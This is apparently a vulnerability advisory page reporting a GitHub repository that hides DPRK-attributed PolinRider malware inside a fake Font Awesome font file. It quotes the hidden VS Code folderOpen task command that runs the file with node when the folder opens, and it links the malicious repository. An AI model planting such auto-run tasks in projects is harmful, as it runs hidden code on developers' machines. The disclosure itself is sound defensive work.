GCVE-110-OSM-2026-14659

Advisory PublishedCVSS 9.6/10

Vulnetix · Advisory published October 15, 2026

GitHub repository carrying DPRK PolinRider malware: public/fonts/fa-brands-400.ttf. Opening the folder in VS Code or running its CI executes the payload. === DPRK PolinRider fake-font payload === Malicious payload found in: public/fonts/fa-brands-400.ttf Commit: b7d4e9f1683326dbc94fde2cb6326746e8c02cba Signals: wrapper:(global,require) Obfuscated JavaScript disguised as a Font Awesome webfont (DPRK-attributed PolinRider kit). Trigger: .vscode/tasks.json hidden folderOpen task runs: (command -v node >/dev/null 2>&1 && node ./public/fonts/fa-brands-400.ttf) || (where node >nul 2>&1 && node ./public/fonts/fa-brands-400.ttf) || echo ''

Download JSON Look up in the Resolve Platform

Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

9.6/10

Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Affected Products

Vendor	Product	Versions	Platforms
unknown		all (affected)	—

References

Malicious repository: https://github.com/zhaikong/my-midu-report

advisory

Browse GCVE Records

1,063 records in the GCVE database · Updated November 5, 2026

No matching records found.

Explore Further

Investigate this vulnerability in the interactive console or download the raw GCVE record.

Look up in the Resolve Platform Download JSON